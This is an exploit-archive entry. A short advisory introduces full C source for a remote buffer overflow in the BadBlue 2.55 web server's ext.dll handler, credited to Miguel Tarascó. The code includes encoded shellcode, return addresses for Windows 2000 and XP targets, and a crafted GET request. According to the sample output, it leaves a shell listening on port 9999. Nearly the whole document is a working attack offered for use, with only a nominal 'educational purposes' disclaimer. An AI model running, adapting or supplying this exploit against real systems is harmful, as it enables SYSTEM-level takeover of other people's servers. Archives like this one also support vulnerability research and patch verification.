Working Resources BadBlue 2.55 - MFCISAPICommand Remote Buffer Overflow (1)

// source: https://www.securityfocus.com/bid/12673/info

A remote buffer overflow vulnerability affects Working Resources BadBlue. This issue is due to a failure of the application to securely copy GET request parameters into finite process buffers.

An attacker may leverage this issue to execute arbitrary code with the privileges of the affected Web server, facilitating a SYSTEM level compromise. 

/* Badblue 2.55 Web Server remote buffer overflow
 * ( Version: BadBlue Personal Edition v2.55  Date: Dec. 9, 2004 )
 *
 * Tested under Windows 2000 Professional SP3/SP4 Spanish
 *              Windows 2000 Server SP4 Spanish
 *              Windows XP SP1 Spanish
 *
 * Credits:
 *  Andres Tarasco (atarasco _at_ sia.es) has discovered this vulnerability
 *  http://lists.netsys.com/pipermail/full-disclosure/2005-February/032029.html
 *
 * Exploit by  : Miguel Tarasc<F3> Acu<F1>a
 *               Tarako AT Haxorcitos.com
 * Exploit Date: 26/12/2004
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 * Greetings to: #haxorcitos, #dsr
 *
 ***************************************************************************
 *
 * D:\expl_badblue\Release>badblue.exe 192.168.1.82 80 1
 *
 * Badblue 2.55 Web Server - Remote buffer overflow
 * Tarako AT Haxorcitos.com
 *
 * [i] Retrieving HTTP Server Header
 * [i] Server    : BadBlue/2.5
 * [i] Connected : Yes
 * [i] Target    : Win2k Professional SP3/SP4 & Server SP4 (ext.dll)
 * [i] Work      : Complete
 * [i] Now       : telnet 192.168.1.82 9999
 *
 ***************************************************************************/

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32")

#define TIMEOUT 1
#define VALIDSERVER "BadBlue/2.5"
#define GETHEADER "HEAD HTTP/1.1\r\n\r\n"

#define HTTPSEND1 "GET /ext.dll?mfcisapicommand="
#define HTTPSEND2 "&page=index.htx HTTP/1.1\n\
Accept: */*\n\
Accept-Language: es\n\
Accept-Encodin: gzip, deflate\n\
User-Agent: Haxorcitos/1.0 (compatible; MSIE 6.0; Windows NT 5.0)\n\
Host: "
#define HTTPSEND3 "\nConnection: Keep-Alive\r\n\r\n"

#define LEN 500

char shellcode[]=
   "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33"
   "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C"
   "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE"
   "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB"
   "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77"
   "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77"
   "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77"
   "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77"
   "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77"
   "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77"
   "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77"
   "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77"
   "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77"
   "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB"
   "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C"
   "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0"
   "\x8A\x88\xAF\x87\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77"
   "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0"
   "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB"
   "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5"
   "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98"
   "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE"
   "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77"
   "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8"
   "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF"
   "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90"
   "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74"
   "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4"
   "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94"
   "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5"
   "\xD3\x4A\x8C\x88";

struct TARGETS {
   int num;
   char name[58];
   char offset[5];
} targets[]= {
   // char offset[]="\x56\x66\x46\x78";    // ntdll.dll V. 5.0.2195.6899 Windows 2k Spanish (CALL EBX)
   // char offset[]="\x37\x25\x01\x10";    // ext.dll V. 1.0.0.1 (CALL EBX) Windows 2k SP4 Spanish
   // char offset[]="\x3E\xFA\x02\x10";    // ext.dll V. 1.0.0.1 (FF55 0C  CALL [EBP+C]) Windows XP SP1 Spanish
   { 0, "WinXP Professional SP1 (ext.dll)", "\x3E\xFA\x02\x10" },                   // CALL [EBP+C]
   { 1, "Win2k Professional SP3/SP4 & Server SP4 (ext.dll)", "\x37\x25\x01\x10" },  // CALL EBX
   //{ 2, "Crash", 0x41414141 }, // crash
};
char jmp[]="\xEB\x07";                 // JMP $+9   (EB 07) To jump the offset
char jmpback[]="\xE9\x0D\xFE\xFF\xFF"; // JMP $-494 (E9 0DFEFFFF) To jump to the beginning of the shellcode



int CheckHeader(SOCKET s,struct  sockaddr_in sa) { // Server: BadBlue/2.5
   timeval  tiempo;
   fd_set   fdset;

   int      leido;         // Bytes leidos en el recv
   char     buffer[1024];  // Buffer de lectura con el recv
   char     version[11];
   int      retorno=0;


   if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){
      printf("\n [e] Error: socket():%d\n", WSAGetLastError());
      return(1);
   }
   if ( connect(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) {
      printf("\n [e] Error: connect()");
      return(1);
   }

   send(s,GETHEADER,strlen(GETHEADER),0);

   tiempo.tv_sec=TIMEOUT;                  // TimeOut del Select
   tiempo.tv_usec=0;
   FD_ZERO( &fdset );                      // Inicializa FDSet a NULL
   FD_SET( s, &fdset );                    // A<F1>ade el descriptor AcceptedSocket a FDSet
   if ((select( s + 1 , &fdset , NULL , NULL , &tiempo )) >0) {
      if (FD_ISSET(s,(fd_set FAR *)&fdset)) {   // True si ConnectSocket esta en FDSet
         memset(&buffer, 0, sizeof(buffer));
         if ((leido=recv( s,buffer,sizeof(buffer),0 )) > 0) {
            if (leido > 42) {
               strncpy(version,buffer+32,strlen(VALIDSERVER));
               printf("\n [i] Server    : %s",version);
               if (strncmp(version,VALIDSERVER,strlen(VALIDSERVER))!=0) retorno=1;
            }
            else retorno=1;
         }
         else {
            printf("\n [e] Server    : Unknown");
            retorno=1;
         }
      }
   }

   closesocket(s);
   return(retorno);
}



void main(int argc, char *argv[]) {
   SOCKET s;

   WSADATA HWSAdata;
   struct  sockaddr_in sa;

   char *buffer=NULL;
   UINT i;

   printf("\n Badblue 2.55 Web Server - Remote buffer overflow");
   printf("\n Tarako AT Haxorcitos.com\n");

   if ( (argc!=4) || (atoi(argv[3])>=sizeof(targets) / sizeof(struct TARGETS))) {
      printf("\n OS:",argv[0]);
      for (i=0;i<(sizeof(targets) / sizeof(struct TARGETS));i++) {
         printf("\n    %i - %s",i,targets[i].name);
      }
      printf("\n\n Usage: %s <IP> <Port> <OS> \n",argv[0]);
      exit(1);
   }


   if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) {
      printf("\n [e] Error: WSAStartup():%d\n", WSAGetLastError());
      exit(1);
   }

   if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){
      printf("\n [e] Error: socket():%d\n", WSAGetLastError());
      exit(1);
   }

   sa.sin_family           = AF_INET;
   sa.sin_port             = (USHORT)htons(atoi(argv[2]));
   sa.sin_addr.S_un.S_addr = inet_addr(argv[1]);

   printf("\n [i] Retrieving HTTP Server Header");
   if (CheckHeader(s,sa)==1) {
      printf("\n [i] Aborting exploit\n\n");
      exit(1);
   }

   if ( connect(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) {
      printf("\n [e] Error: connect()");
      exit(1);
   }

   printf("\n [i] Connected : Yes");
   printf("\n [i] Target    : %s ",targets[atoi(argv[3])].name);

   buffer=(char*)malloc(sizeof(char)*(strlen(HTTPSEND1)+strlen(HTTPSEND2)+strlen(HTTPSEND3)+strlen(argv[1])+LEN+1));
   memset(buffer,0,strlen(HTTPSEND1)+strlen(HTTPSEND2)+strlen(HTTPSEND3)+strlen(argv[1])+LEN+1);

   memcpy(buffer,HTTPSEND1,strlen(HTTPSEND1));

   for( i=strlen(HTTPSEND1);i<(LEN+strlen(HTTPSEND1));i++) buffer[i]=(BYTE)0x90;

   memcpy(buffer+strlen(HTTPSEND1),shellcode,strlen(shellcode));

   memcpy(buffer+strlen(HTTPSEND1)+485,jmp,strlen(jmp));
   memcpy(buffer+strlen(HTTPSEND1)+489,targets[atoi(argv[3])].offset,strlen(targets[atoi(argv[3])].offset));
   memcpy(buffer+strlen(HTTPSEND1)+494,jmpback,strlen(jmpback));

   memcpy(buffer+strlen(HTTPSEND1)+LEN,HTTPSEND2,strlen(HTTPSEND2));

   memcpy(buffer+strlen(HTTPSEND1)+LEN+strlen(HTTPSEND2),argv[1],strlen(argv[1]));

   memcpy(buffer+strlen(HTTPSEND1)+LEN+strlen(HTTPSEND2)+strlen(argv[1]),HTTPSEND3,strlen(HTTPSEND3));

   send(s,buffer,strlen(buffer),0);
   closesocket(s);

   printf("\n [i] Work      : Complete");
   printf("\n [i] Now       : telnet %s 9999\n",argv[1]);
}